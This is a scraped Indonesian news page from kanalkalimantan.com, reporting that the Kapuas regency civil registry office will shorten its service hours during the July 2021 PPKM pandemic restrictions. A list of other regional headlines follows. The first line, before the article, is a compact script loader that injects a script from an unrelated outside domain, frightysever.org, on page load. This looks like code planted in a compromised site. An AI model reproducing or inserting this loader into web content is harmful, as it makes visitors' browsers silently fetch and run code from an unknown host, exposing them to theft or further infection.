(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Kapuas

Batasi Waktu Pelayanan Selama PPKM, Ini Penjelasan Disdukcapil Kapuas


KANALKALIMANTAN.COM, KUALA KAPUAS – Dinas Kependudukan dan Pencatatan Sipil (Disdukcapil) Kabupaten Kapuas akan membatasi waktu jam pelayanan administrasi dan kependudukan selama pengetatan Pemberlakuan Pembatasan Kegiatan Masyarakat (PPKM).

Plt Kepala Dinas Dukcapil Kapuas, Sipie S Bungai SSos MAP mengatakan pihaknya telah mengadakan rapat membahas hal itu, untuk menindaklanjuti Instruksi Dirjen Dukcapil Kemendagri, perihal pelayanan administrasi pependudukan selama PPKM darurat dan Instruksi Bupati Kapuas tentang penerapan WFH pelaksanaan kegiatan perkantoran/ tempat kerja di lingkungan Pemkab Kapuas.

Plt Kadis Dukcapil Kapuas menjelaskan bahwa akan adanya pengurangan waktu jam pelayanan administrasi kependudukan pada Disdukcapil Kabupaten Kapuas. “Sesuai kesepakatan bersama itu, mengingat kondisi pelayanan maka kita akan menerapkan pengurangan jam kerja yaitu dimulai pukul 08.00 sampai pukul 14.00 WIB,” katanya, Selasa (13/7/2021).

Plt Kadisdukcapil Kapuas Sipei S Bungai SSos MAP. foto: ags

 

 

Plt Kadisdukcapil Kapuas menjelaskan bahwa usulan pada rapat terkait pengurangan waktu jam pelayanan tersebut akan disampaikan terlebih dahulu kepada Badan Kepegawaian dan Pengembangan SDM Kabupaten Kapuas dan Bupati Kapuas, juga kepada Dirjen Dukcapil Kemendagri.

Dia mengimbau dan mengingatkan kepada seluruh PNS maupun tenaga honor agar selalu melayani masyarakat dengan baik.

“Karena kita ini adalah instansi yang bergerak di bidang pelayanan, memberikan pelayanan kepada masyarakat,” ucapnya.

Diharapkanya agar bisa melayani dengan baik, bertanggung jawab dengan tugas yang diberikan, khususnya kepada petugas pelayanan yang berhadapan Iangsung dengan masyarakat agar bisa menerpakan budaya pelayanan prima yaitu 3 S (Senyum, Salam dan Sapa) dan juga tetap menerapkan prokes ketat.(kanalkalimantan.com/ags)

Reporter : ags
Editor : kk


Al Ghifari

Recent Posts

Curi Mobil Modus Duplikat Kunci, NY Diringkus Satreskrim Polresta Banjarmasin

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reskrim Polresta Banjarmasin meringkus seseorang lelaki berinisial NY (37) karena melakukan… Read More

9 jam ago

Sah! Ini 30 Calon Terpilih Anggota DPRD HSU 2024-2029

KANALKALIMANTAN.COM, AMUNTAI - Komisi Pemilihan Umum (KPU) Kabupaten Hulu Sungai Utara (HSU) menetapkan 30 perolehan… Read More

12 jam ago

Sebelum Dilantik, 30 Calon Terpilih DPRD Banjarbaru Harus Lapor Harta Kekayaan

KANALKALIMANTAN.COM, BANJARBARU – Calon terpilih Anggota Dewan Perwakilan Rakyat Daerah (DPRD) Kota Banjarbaru pada Pemilu… Read More

16 jam ago

Tiga Putra HSU Terbaik Pertama Syarhil Qur’an MTQ XXXV Kalsel

KANALKALIMANTAN.COM, RANTAU - Enam orang dari kafilah Kabupaten Hulu Sungai Utara (HSU) sukses meraih prestasi… Read More

16 jam ago

Resmi Ditetapkan, Ini 45 Calon Terpilih Anggota DPRD Banjarmasin 2024-2029

PAN, Golkar dan PKS Masing-masing 7 Kursi di DPRD Banjarmasin Read More

16 jam ago

Juara Umum di MTQ Provinsi, Ketua LPTQ Banjar Pastikan Bonus bagi Pemenang

KANALKALIMANTAN.COM, MARTAPURA - Kabupaten Banjar meraih sukses pada Musabaqah Tilawatil Quran (MTQ) Nasional XXXV Tingkat… Read More

18 jam ago

This website uses cookies.